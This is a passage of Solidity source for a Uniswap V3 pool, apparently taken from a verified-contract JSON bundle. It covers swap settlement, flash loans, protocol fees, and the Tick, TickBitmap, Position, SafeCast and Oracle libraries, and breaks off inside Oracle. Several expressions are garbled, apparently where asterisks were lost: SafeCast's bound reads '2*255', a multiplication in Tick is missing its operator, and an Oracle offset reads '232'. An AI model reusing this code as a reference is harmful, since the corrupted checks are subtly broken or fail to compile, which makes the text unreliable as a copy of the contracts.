state.liquidity,\n state.amountSpecifiedRemaining,\n fee\n );\n\n if (exactInput) {\n state.amountSpecifiedRemaining -= (step.amountIn + step.feeAmount).toInt256();\n state.amountCalculated = state.amountCalculated.sub(step.amountOut.toInt256());\n } else {\n state.amountSpecifiedRemaining += step.amountOut.toInt256();\n state.amountCalculated = state.amountCalculated.add((step.amountIn + step.feeAmount).toInt256());\n }\n\n // if the protocol fee is on, calculate how much is owed, decrement feeAmount, and increment protocolFee\n if (cache.feeProtocol > 0) {\n uint256 delta = step.feeAmount / cache.feeProtocol;\n step.feeAmount -= delta;\n state.protocolFee += uint128(delta);\n }\n\n // update global fee tracker\n if (state.liquidity > 0)\n state.feeGrowthGlobalX128 += FullMath.mulDiv(step.feeAmount, FixedPoint128.Q128, state.liquidity);\n\n // shift tick if we reached the next price\n if (state.sqrtPriceX96 == step.sqrtPriceNextX96) {\n // if the tick is initialized, run the tick transition\n if (step.initialized) {\n // check for the placeholder value, which we replace with the actual value the first time the swap\n // crosses an initialized tick\n if (!cache.computedLatestObservation) {\n (cache.tickCumulative, cache.secondsPerLiquidityCumulativeX128) = observations.observeSingle(\n cache.blockTimestamp,\n 0,\n slot0Start.tick,\n slot0Start.observationIndex,\n cache.liquidityStart,\n slot0Start.observationCardinality\n );\n cache.computedLatestObservation = true;\n }\n int128 liquidityNet =\n ticks.cross(\n step.tickNext,\n (zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128),\n (zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128),\n cache.secondsPerLiquidityCumulativeX128,\n cache.tickCumulative,\n cache.blockTimestamp\n );\n // if we're moving leftward, we interpret liquidityNet as the opposite sign\n // safe because liquidityNet cannot be type(int128).min\n if (zeroForOne) liquidityNet = -liquidityNet;\n\n state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet);\n }\n\n state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext;\n } else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) {\n // recompute unless we're on a lower tick boundary (i.e. already transitioned ticks), and haven't moved\n state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96);\n }\n }\n\n // update tick and write an oracle entry if the tick change\n if (state.tick != slot0Start.tick) {\n (uint16 observationIndex, uint16 observationCardinality) =\n observations.write(\n slot0Start.observationIndex,\n cache.blockTimestamp,\n slot0Start.tick,\n cache.liquidityStart,\n slot0Start.observationCardinality,\n slot0Start.observationCardinalityNext\n );\n (slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality) = (\n state.sqrtPriceX96,\n state.tick,\n observationIndex,\n observationCardinality\n );\n } else {\n // otherwise just update the price\n slot0.sqrtPriceX96 = state.sqrtPriceX96;\n }\n\n // update liquidity if it changed\n if (cache.liquidityStart != state.liquidity) liquidity = state.liquidity;\n\n // update fee growth global and, if necessary, protocol fees\n // overflow is acceptable, protocol has to withdraw before it hits type(uint128).max fees\n if (zeroForOne) {\n feeGrowthGlobal0X128 = state.feeGrowthGlobalX128;\n if (state.protocolFee > 0) protocolFees.token0 += state.protocolFee;\n } else {\n feeGrowthGlobal1X128 = state.feeGrowthGlobalX128;\n if (state.protocolFee > 0) protocolFees.token1 += state.protocolFee;\n }\n\n (amount0, amount1) = zeroForOne == exactInput\n ? (amountSpecified - state.amountSpecifiedRemaining, state.amountCalculated)\n : (state.amountCalculated, amountSpecified - state.amountSpecifiedRemaining);\n\n // do the transfers and collect payment\n if (zeroForOne) {\n if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));\n\n uint256 balance0Before = balance0();\n IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);\n require(balance0Before.add(uint256(amount0)) <= balance0(), 'IIA');\n } else {\n if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0));\n\n uint256 balance1Before = balance1();\n IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);\n require(balance1Before.add(uint256(amount1)) <= balance1(), 'IIA');\n }\n\n emit Swap(msg.sender, recipient, amount0, amount1, state.sqrtPriceX96, state.liquidity, state.tick);\n slot0.unlocked = true;\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external override lock noDelegateCall {\n uint128 _liquidity = liquidity;\n require(_liquidity > 0, 'L');\n\n uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e6);\n uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e6);\n uint256 balance0Before = balance0();\n uint256 balance1Before = balance1();\n\n if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0);\n if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1);\n\n IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data);\n\n uint256 balance0After = balance0();\n uint256 balance1After = balance1();\n\n require(balance0Before.add(fee0) <= balance0After, 'F0');\n require(balance1Before.add(fee1) <= balance1After, 'F1');\n\n // sub is safe because we know balanceAfter is gt balanceBefore by at least fee\n uint256 paid0 = balance0After - balance0Before;\n uint256 paid1 = balance1After - balance1Before;\n\n if (paid0 > 0) {\n uint8 feeProtocol0 = slot0.feeProtocol % 16;\n uint256 fees0 = feeProtocol0 == 0 ? 0 : paid0 / feeProtocol0;\n if (uint128(fees0) > 0) protocolFees.token0 += uint128(fees0);\n feeGrowthGlobal0X128 += FullMath.mulDiv(paid0 - fees0, FixedPoint128.Q128, _liquidity);\n }\n if (paid1 > 0) {\n uint8 feeProtocol1 = slot0.feeProtocol >> 4;\n uint256 fees1 = feeProtocol1 == 0 ? 0 : paid1 / feeProtocol1;\n if (uint128(fees1) > 0) protocolFees.token1 += uint128(fees1);\n feeGrowthGlobal1X128 += FullMath.mulDiv(paid1 - fees1, FixedPoint128.Q128, _liquidity);\n }\n\n emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);\n }\n\n /// @inheritdoc IUniswapV3PoolOwnerActions\n function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {\n require(\n (feeProtocol0 == 0 \|\| (feeProtocol0 >= 4 && feeProtocol0 <= 10)) &&\n (feeProtocol1 == 0 \|\| (feeProtocol1 >= 4 && feeProtocol1 <= 10))\n );\n uint8 feeProtocolOld = slot0.feeProtocol;\n slot0.feeProtocol = feeProtocol0 + (feeProtocol1 << 4);\n emit SetFeeProtocol(feeProtocolOld % 16, feeProtocolOld >> 4, feeProtocol0, feeProtocol1);\n }\n\n /// @inheritdoc IUniswapV3PoolOwnerActions\n function collectProtocol(\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {\n amount0 = amount0Requested > protocolFees.token0 ? protocolFees.token0 : amount0Requested;\n amount1 = amount1Requested > protocolFees.token1 ? protocolFees.token1 : amount1Requested;\n\n if (amount0 > 0) {\n if (amount0 == protocolFees.token0) amount0--; // ensure that the slot is not cleared, for gas savings\n protocolFees.token0 -= amount0;\n TransferHelper.safeTransfer(token0, recipient, amount0);\n }\n if (amount1 > 0) {\n if (amount1 == protocolFees.token1) amount1--; // ensure that the slot is not cleared, for gas savings\n protocolFees.token1 -= amount1;\n TransferHelper.safeTransfer(token1, recipient, amount1);\n }\n\n emit CollectProtocol(msg.sender, recipient, amount0, amount1);\n }\n}\n" }, "contracts/interfaces/IUniswapV3Pool.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\nimport './pool/IUniswapV3PoolImmutables.sol';\nimport './pool/IUniswapV3PoolState.sol';\nimport './pool/IUniswapV3PoolDerivedState.sol';\nimport './pool/IUniswapV3PoolActions.sol';\nimport './pool/IUniswapV3PoolOwnerActions.sol';\nimport './pool/IUniswapV3PoolEvents.sol';\n\n/// @title The interface for a Uniswap V3 Pool\n/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform\n/// to the ERC20 specification\n/// @dev The pool interface is broken up into many smaller pieces\ninterface IUniswapV3Pool is\n IUniswapV3PoolImmutables,\n IUniswapV3PoolState,\n IUniswapV3PoolDerivedState,\n IUniswapV3PoolActions,\n IUniswapV3PoolOwnerActions,\n IUniswapV3PoolEvents\n{\n\n}\n" }, "contracts/NoDelegateCall.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity =0.7.6;\n\n/// @title Prevents delegatecall to a contract\n/// @notice Base contract that provides a modifier for preventing delegatecall to methods in a child contract\nabstract contract NoDelegateCall {\n /// @dev The original address of this contract\n address private immutable original;\n\n constructor() {\n // Immutables are computed in the init code of the contract, and then inlined into the deployed bytecode.\n // In other words, this variable won't change when it's checked at runtime.\n original = address(this);\n }\n\n /// @dev Private method is used instead of inlining into modifier because modifiers are copied into each method,\n /// and the use of immutable means the address bytes are copied in every place the modifier is used.\n function checkNotDelegateCall() private view {\n require(address(this) == original);\n }\n\n /// @notice Prevents delegatecall into the modified method\n modifier noDelegateCall() {\n checkNotDelegateCall();\n _;\n }\n}\n" }, "contracts/libraries/LowGasSafeMath.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.7.0;\n\n/// @title Optimized overflow and underflow safe math operations\n/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost\nlibrary LowGasSafeMath {\n /// @notice Returns x + y, reverts if sum overflows uint256\n /// @param x The augend\n /// @param y The addend\n /// @return z The sum of x and y\n function add(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x + y) >= x);\n }\n\n /// @notice Returns x - y, reverts if underflows\n /// @param x The minuend\n /// @param y The subtrahend\n /// @return z The difference of x and y\n function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x - y) <= x);\n }\n\n /// @notice Returns x y, reverts if overflows\n /// @param x The multiplicand\n /// @param y The multiplier\n /// @return z The product of x and y\n function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require(x == 0 \|\| (z = x * y) / x == y);\n }\n\n /// @notice Returns x + y, reverts if overflows or underflows\n /// @param x The augend\n /// @param y The addend\n /// @return z The sum of x and y\n function add(int256 x, int256 y) internal pure returns (int256 z) {\n require((z = x + y) >= x == (y >= 0));\n }\n\n /// @notice Returns x - y, reverts if overflows or underflows\n /// @param x The minuend\n /// @param y The subtrahend\n /// @return z The difference of x and y\n function sub(int256 x, int256 y) internal pure returns (int256 z) {\n require((z = x - y) <= x == (y >= 0));\n }\n}\n" }, "contracts/libraries/SafeCast.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Safe casting methods\n/// @notice Contains methods for safely casting between types\nlibrary SafeCast {\n /// @notice Cast a uint256 to a uint160, revert on overflow\n /// @param y The uint256 to be downcasted\n /// @return z The downcasted integer, now type uint160\n function toUint160(uint256 y) internal pure returns (uint160 z) {\n require((z = uint160(y)) == y);\n }\n\n /// @notice Cast a int256 to a int128, revert on overflow or underflow\n /// @param y The int256 to be downcasted\n /// @return z The downcasted integer, now type int128\n function toInt128(int256 y) internal pure returns (int128 z) {\n require((z = int128(y)) == y);\n }\n\n /// @notice Cast a uint256 to a int256, revert on overflow\n /// @param y The uint256 to be casted\n /// @return z The casted integer, now type int256\n function toInt256(uint256 y) internal pure returns (int256 z) {\n require(y < 2*255);\n z = int256(y);\n }\n}\n" }, "contracts/libraries/Tick.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './LowGasSafeMath.sol';\nimport './SafeCast.sol';\n\nimport './TickMath.sol';\nimport './LiquidityMath.sol';\n\n/// @title Tick\n/// @notice Contains functions for managing tick processes and relevant calculations\nlibrary Tick {\n using LowGasSafeMath for int256;\n using SafeCast for int256;\n\n // info stored for each initialized individual tick\n struct Info {\n // the total position liquidity that references this tick\n uint128 liquidityGross;\n // amount of net liquidity added (subtracted) when tick is crossed from left to right (right to left),\n int128 liquidityNet;\n // fee growth per unit of liquidity on the _other_ side of this tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint256 feeGrowthOutside0X128;\n uint256 feeGrowthOutside1X128;\n // the cumulative tick value on the other side of the tick\n int56 tickCumulativeOutside;\n // the seconds per unit of liquidity on the _other_ side of this tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint160 secondsPerLiquidityOutsideX128;\n // the seconds spent on the other side of the tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint32 secondsOutside;\n // true iff the tick is initialized, i.e. the value is exactly equivalent to the expression liquidityGross != 0\n // these 8 bits are set to prevent fresh sstores when crossing newly initialized ticks\n bool initialized;\n }\n\n /// @notice Derives max liquidity per tick from given tick spacing\n /// @dev Executed within the pool constructor\n /// @param tickSpacing The amount of required tick separation, realized in multiples of `tickSpacing`\n /// e.g., a tickSpacing of 3 requires ticks to be initialized every 3rd tick i.e., ..., -6, -3, 0, 3, 6, ...\n /// @return The max liquidity per tick\n function tickSpacingToMaxLiquidityPerTick(int24 tickSpacing) internal pure returns (uint128) {\n int24 minTick = (TickMath.MIN_TICK / tickSpacing) tickSpacing;\n int24 maxTick = (TickMath.MAX_TICK / tickSpacing) * tickSpacing;\n uint24 numTicks = uint24((maxTick - minTick) / tickSpacing) + 1;\n return type(uint128).max / numTicks;\n }\n\n /// @notice Retrieves fee growth data\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tickLower The lower tick boundary of the position\n /// @param tickUpper The upper tick boundary of the position\n /// @param tickCurrent The current tick\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @return feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries\n /// @return feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries\n function getFeeGrowthInside(\n mapping(int24 => Tick.Info) storage self,\n int24 tickLower,\n int24 tickUpper,\n int24 tickCurrent,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128\n ) internal view returns (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) {\n Info storage lower = self[tickLower];\n Info storage upper = self[tickUpper];\n\n // calculate fee growth below\n uint256 feeGrowthBelow0X128;\n uint256 feeGrowthBelow1X128;\n if (tickCurrent >= tickLower) {\n feeGrowthBelow0X128 = lower.feeGrowthOutside0X128;\n feeGrowthBelow1X128 = lower.feeGrowthOutside1X128;\n } else {\n feeGrowthBelow0X128 = feeGrowthGlobal0X128 - lower.feeGrowthOutside0X128;\n feeGrowthBelow1X128 = feeGrowthGlobal1X128 - lower.feeGrowthOutside1X128;\n }\n\n // calculate fee growth above\n uint256 feeGrowthAbove0X128;\n uint256 feeGrowthAbove1X128;\n if (tickCurrent < tickUpper) {\n feeGrowthAbove0X128 = upper.feeGrowthOutside0X128;\n feeGrowthAbove1X128 = upper.feeGrowthOutside1X128;\n } else {\n feeGrowthAbove0X128 = feeGrowthGlobal0X128 - upper.feeGrowthOutside0X128;\n feeGrowthAbove1X128 = feeGrowthGlobal1X128 - upper.feeGrowthOutside1X128;\n }\n\n feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128;\n feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128;\n }\n\n /// @notice Updates a tick and returns true if the tick was flipped from initialized to uninitialized, or vice versa\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tick The tick that will be updated\n /// @param tickCurrent The current tick\n /// @param liquidityDelta A new amount of liquidity to be added (subtracted) when tick is crossed from left to right (right to left)\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @param secondsPerLiquidityCumulativeX128 The all-time seconds per max(1, liquidity) of the pool\n /// @param time The current block timestamp cast to a uint32\n /// @param upper true for updating a position's upper tick, or false for updating a position's lower tick\n /// @param maxLiquidity The maximum liquidity allocation for a single tick\n /// @return flipped Whether the tick was flipped from initialized to uninitialized, or vice versa\n function update(\n mapping(int24 => Tick.Info) storage self,\n int24 tick,\n int24 tickCurrent,\n int128 liquidityDelta,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128,\n uint160 secondsPerLiquidityCumulativeX128,\n int56 tickCumulative,\n uint32 time,\n bool upper,\n uint128 maxLiquidity\n ) internal returns (bool flipped) {\n Tick.Info storage info = self[tick];\n\n uint128 liquidityGrossBefore = info.liquidityGross;\n uint128 liquidityGrossAfter = LiquidityMath.addDelta(liquidityGrossBefore, liquidityDelta);\n\n require(liquidityGrossAfter <= maxLiquidity, 'LO');\n\n flipped = (liquidityGrossAfter == 0) != (liquidityGrossBefore == 0);\n\n if (liquidityGrossBefore == 0) {\n // by convention, we assume that all growth before a tick was initialized happened _below_ the tick\n if (tick <= tickCurrent) {\n info.feeGrowthOutside0X128 = feeGrowthGlobal0X128;\n info.feeGrowthOutside1X128 = feeGrowthGlobal1X128;\n info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128;\n info.tickCumulativeOutside = tickCumulative;\n info.secondsOutside = time;\n }\n info.initialized = true;\n }\n\n info.liquidityGross = liquidityGrossAfter;\n\n // when the lower (upper) tick is crossed left to right (right to left), liquidity must be added (removed)\n info.liquidityNet = upper\n ? int256(info.liquidityNet).sub(liquidityDelta).toInt128()\n : int256(info.liquidityNet).add(liquidityDelta).toInt128();\n }\n\n /// @notice Clears tick data\n /// @param self The mapping containing all initialized tick information for initialized ticks\n /// @param tick The tick that will be cleared\n function clear(mapping(int24 => Tick.Info) storage self, int24 tick) internal {\n delete self[tick];\n }\n\n /// @notice Transitions to next tick as needed by price movement\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tick The destination tick of the transition\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @param secondsPerLiquidityCumulativeX128 The current seconds per liquidity\n /// @param time The current block.timestamp\n /// @return liquidityNet The amount of liquidity added (subtracted) when tick is crossed from left to right (right to left)\n function cross(\n mapping(int24 => Tick.Info) storage self,\n int24 tick,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128,\n uint160 secondsPerLiquidityCumulativeX128,\n int56 tickCumulative,\n uint32 time\n ) internal returns (int128 liquidityNet) {\n Tick.Info storage info = self[tick];\n info.feeGrowthOutside0X128 = feeGrowthGlobal0X128 - info.feeGrowthOutside0X128;\n info.feeGrowthOutside1X128 = feeGrowthGlobal1X128 - info.feeGrowthOutside1X128;\n info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128 - info.secondsPerLiquidityOutsideX128;\n info.tickCumulativeOutside = tickCumulative - info.tickCumulativeOutside;\n info.secondsOutside = time - info.secondsOutside;\n liquidityNet = info.liquidityNet;\n }\n}\n" }, "contracts/libraries/TickBitmap.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './BitMath.sol';\n\n/// @title Packed tick initialized state library\n/// @notice Stores a packed mapping of tick index to its initialized state\n/// @dev The mapping uses int16 for keys since ticks are represented as int24 and there are 256 (2^8) values per word.\nlibrary TickBitmap {\n /// @notice Computes the position in the mapping where the initialized bit for a tick lives\n /// @param tick The tick for which to compute the position\n /// @return wordPos The key in the mapping containing the word in which the bit is stored\n /// @return bitPos The bit position in the word where the flag is stored\n function position(int24 tick) private pure returns (int16 wordPos, uint8 bitPos) {\n wordPos = int16(tick >> 8);\n bitPos = uint8(tick % 256);\n }\n\n /// @notice Flips the initialized state for a given tick from false to true, or vice versa\n /// @param self The mapping in which to flip the tick\n /// @param tick The tick to flip\n /// @param tickSpacing The spacing between usable ticks\n function flipTick(\n mapping(int16 => uint256) storage self,\n int24 tick,\n int24 tickSpacing\n ) internal {\n require(tick % tickSpacing == 0); // ensure that the tick is spaced\n (int16 wordPos, uint8 bitPos) = position(tick / tickSpacing);\n uint256 mask = 1 << bitPos;\n self[wordPos] ^= mask;\n }\n\n /// @notice Returns the next initialized tick contained in the same word (or adjacent word) as the tick that is either\n /// to the left (less than or equal to) or right (greater than) of the given tick\n /// @param self The mapping in which to compute the next initialized tick\n /// @param tick The starting tick\n /// @param tickSpacing The spacing between usable ticks\n /// @param lte Whether to search for the next initialized tick to the left (less than or equal to the starting tick)\n /// @return next The next initialized or uninitialized tick up to 256 ticks away from the current tick\n /// @return initialized Whether the next tick is initialized, as the function only searches within up to 256 ticks\n function nextInitializedTickWithinOneWord(\n mapping(int16 => uint256) storage self,\n int24 tick,\n int24 tickSpacing,\n bool lte\n ) internal view returns (int24 next, bool initialized) {\n int24 compressed = tick / tickSpacing;\n if (tick < 0 && tick % tickSpacing != 0) compressed--; // round towards negative infinity\n\n if (lte) {\n (int16 wordPos, uint8 bitPos) = position(compressed);\n // all the 1s at or to the right of the current bitPos\n uint256 mask = (1 << bitPos) - 1 + (1 << bitPos);\n uint256 masked = self[wordPos] & mask;\n\n // if there are no initialized ticks to the right of or at the current tick, return rightmost in the word\n initialized = masked != 0;\n // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick\n next = initialized\n ? (compressed - int24(bitPos - BitMath.mostSignificantBit(masked))) * tickSpacing\n : (compressed - int24(bitPos)) * tickSpacing;\n } else {\n // start from the word of the next tick, since the current tick state doesn't matter\n (int16 wordPos, uint8 bitPos) = position(compressed + 1);\n // all the 1s at or to the left of the bitPos\n uint256 mask = ~((1 << bitPos) - 1);\n uint256 masked = self[wordPos] & mask;\n\n // if there are no initialized ticks to the left of the current tick, return leftmost in the word\n initialized = masked != 0;\n // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick\n next = initialized\n ? (compressed + 1 + int24(BitMath.leastSignificantBit(masked) - bitPos)) * tickSpacing\n : (compressed + 1 + int24(type(uint8).max - bitPos)) * tickSpacing;\n }\n }\n}\n" }, "contracts/libraries/Position.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './FullMath.sol';\nimport './FixedPoint128.sol';\nimport './LiquidityMath.sol';\n\n/// @title Position\n/// @notice Positions represent an owner address' liquidity between a lower and upper tick boundary\n/// @dev Positions store additional state for tracking fees owed to the position\nlibrary Position {\n // info stored for each user's position\n struct Info {\n // the amount of liquidity owned by this position\n uint128 liquidity;\n // fee growth per unit of liquidity as of the last update to liquidity or fees owed\n uint256 feeGrowthInside0LastX128;\n uint256 feeGrowthInside1LastX128;\n // the fees owed to the position owner in token0/token1\n uint128 tokensOwed0;\n uint128 tokensOwed1;\n }\n\n /// @notice Returns the Info struct of a position, given an owner and position boundaries\n /// @param self The mapping containing all user positions\n /// @param owner The address of the position owner\n /// @param tickLower The lower tick boundary of the position\n /// @param tickUpper The upper tick boundary of the position\n /// @return position The position info struct of the given owners' position\n function get(\n mapping(bytes32 => Info) storage self,\n address owner,\n int24 tickLower,\n int24 tickUpper\n ) internal view returns (Position.Info storage position) {\n position = self[keccak256(abi.encodePacked(owner, tickLower, tickUpper))];\n }\n\n /// @notice Credits accumulated fees to a user's position\n /// @param self The individual position to update\n /// @param liquidityDelta The change in pool liquidity as a result of the position update\n /// @param feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries\n /// @param feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries\n function update(\n Info storage self,\n int128 liquidityDelta,\n uint256 feeGrowthInside0X128,\n uint256 feeGrowthInside1X128\n ) internal {\n Info memory _self = self;\n\n uint128 liquidityNext;\n if (liquidityDelta == 0) {\n require(_self.liquidity > 0, 'NP'); // disallow pokes for 0 liquidity positions\n liquidityNext = _self.liquidity;\n } else {\n liquidityNext = LiquidityMath.addDelta(_self.liquidity, liquidityDelta);\n }\n\n // calculate accumulated fees\n uint128 tokensOwed0 =\n uint128(\n FullMath.mulDiv(\n feeGrowthInside0X128 - _self.feeGrowthInside0LastX128,\n _self.liquidity,\n FixedPoint128.Q128\n )\n );\n uint128 tokensOwed1 =\n uint128(\n FullMath.mulDiv(\n feeGrowthInside1X128 - _self.feeGrowthInside1LastX128,\n _self.liquidity,\n FixedPoint128.Q128\n )\n );\n\n // update the position\n if (liquidityDelta != 0) self.liquidity = liquidityNext;\n self.feeGrowthInside0LastX128 = feeGrowthInside0X128;\n self.feeGrowthInside1LastX128 = feeGrowthInside1X128;\n if (tokensOwed0 > 0 \|\| tokensOwed1 > 0) {\n // overflow is acceptable, have to withdraw before you hit type(uint128).max fees\n self.tokensOwed0 += tokensOwed0;\n self.tokensOwed1 += tokensOwed1;\n }\n }\n}\n" }, "contracts/libraries/Oracle.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\n/// @title Oracle\n/// @notice Provides price and liquidity data useful for a wide variety of system designs\n/// @dev Instances of stored oracle data, \"observations\", are collected in the oracle array\n/// Every pool is initialized with an oracle array length of 1. Anyone can pay the SSTOREs to increase the\n/// maximum length of the oracle array. New slots will be added when the array is fully populated.\n/// Observations are overwritten when the full length of the oracle array is populated.\n/// The most recent observation is available, independent of the length of the oracle array, by passing 0 to observe()\nlibrary Oracle {\n struct Observation {\n // the block timestamp of the observation\n uint32 blockTimestamp;\n // the tick accumulator, i.e. tick * time elapsed since the pool was first initialized\n int56 tickCumulative;\n // the seconds per liquidity, i.e. seconds elapsed / max(1, liquidity) since the pool was first initialized\n uint160 secondsPerLiquidityCumulativeX128;\n // whether or not the observation is initialized\n bool initialized;\n }\n\n /// @notice Transforms a previous observation into a new observation, given the passage of time and the current tick and liquidity values\n /// @dev blockTimestamp _must_ be chronologically equal to or greater than last.blockTimestamp, safe for 0 or 1 overflows\n /// @param last The specified observation to be transformed\n /// @param blockTimestamp The timestamp of the new observation\n /// @param tick The active tick at the time of the new observation\n /// @param liquidity The total in-range liquidity at the time of the new observation\n /// @return Observation The newly populated observation\n function transform(\n Observation memory last,\n uint32 blockTimestamp,\n int24 tick,\n uint128 liquidity\n ) private pure returns (Observation memory) {\n uint32 delta = blockTimestamp - last.blockTimestamp;\n return\n Observation({\n blockTimestamp: blockTimestamp,\n tickCumulative: last.tickCumulative + int56(tick) * delta,\n secondsPerLiquidityCumulativeX128: last.secondsPerLiquidityCumulativeX128 +\n ((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)),\n initialized: true\n });\n }\n\n /// @notice Initialize the oracle array by writing the first slot. Called once for the lifecycle of the observations array\n /// @param self The stored oracle array\n /// @param time The time of the oracle initialization, via block.timestamp truncated to uint32\n /// @return cardinality The number of populated elements in the oracle array\n /// @return cardinalityNext The new length of the oracle array, independent of population\n function initialize(Observation[65535] storage self, uint32 time)\n internal\n returns (uint16 cardinality, uint16 cardinalityNext)\n {\n self[0] = Observation({\n blockTimestamp: time,\n tickCumulative: 0,\n secondsPerLiquidityCumulativeX128: 0,\n initialized: true\n });\n return (1, 1);\n }\n\n /// @notice Writes an oracle observation to the array\n /// @dev Writable at most once per block. Index represents the most recently written element. cardinality and index must be tracked externally.\n /// If the index is at the end of the allowable array length (according to cardinality), and the next cardinality\n /// is greater than the current one, cardinality may be increased. This restriction is created to preserve ordering.\n /// @param self The stored oracle array\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param blockTimestamp The timestamp of the new observation\n /// @param tick The active tick at the time of the new observation\n /// @param liquidity The total in-range liquidity at the time of the new observation\n /// @param cardinality The number of populated elements in the oracle array\n /// @param cardinalityNext The new length of the oracle array, independent of population\n /// @return indexUpdated The new index of the most recently written element in the oracle array\n /// @return cardinalityUpdated The new cardinality of the oracle array\n function write(\n Observation[65535] storage self,\n uint16 index,\n uint32 blockTimestamp,\n int24 tick,\n uint128 liquidity,\n uint16 cardinality,\n uint16 cardinalityNext\n ) internal returns (uint16 indexUpdated, uint16 cardinalityUpdated) {\n Observation memory last = self[index];\n\n // early return if we've already written an observation this block\n if (last.blockTimestamp == blockTimestamp) return (index, cardinality);\n\n // if the conditions are right, we can bump the cardinality\n if (cardinalityNext > cardinality && index == (cardinality - 1)) {\n cardinalityUpdated = cardinalityNext;\n } else {\n cardinalityUpdated = cardinality;\n }\n\n indexUpdated = (index + 1) % cardinalityUpdated;\n self[indexUpdated] = transform(last, blockTimestamp, tick, liquidity);\n }\n\n /// @notice Prepares the oracle array to store up to `next` observations\n /// @param self The stored oracle array\n /// @param current The current next cardinality of the oracle array\n /// @param next The proposed next cardinality which will be populated in the oracle array\n /// @return next The next cardinality which will be populated in the oracle array\n function grow(\n Observation[65535] storage self,\n uint16 current,\n uint16 next\n ) internal returns (uint16) {\n require(current > 0, 'I');\n // no-op if the passed next value isn't greater than the current next value\n if (next <= current) return current;\n // store in each slot to prevent fresh SSTOREs in swaps\n // this data will not be used because the initialized boolean is still false\n for (uint16 i = current; i < next; i++) self[i].blockTimestamp = 1;\n return next;\n }\n\n /// @notice comparator for 32-bit timestamps\n /// @dev safe for 0 or 1 overflows, a and b _must_ be chronologically before or equal to time\n /// @param time A timestamp truncated to 32 bits\n /// @param a A comparison timestamp from which to determine the relative position of `time`\n /// @param b From which to determine the relative position of `time`\n /// @return bool Whether `a` is chronologically <= `b`\n function lte(\n uint32 time,\n uint32 a,\n uint32 b\n ) private pure returns (bool) {\n // if there hasn't been overflow, no need to adjust\n if (a <= time && b <= time) return a <= b;\n\n uint256 aAdjusted = a > time ? a : a + 232;\n uint256 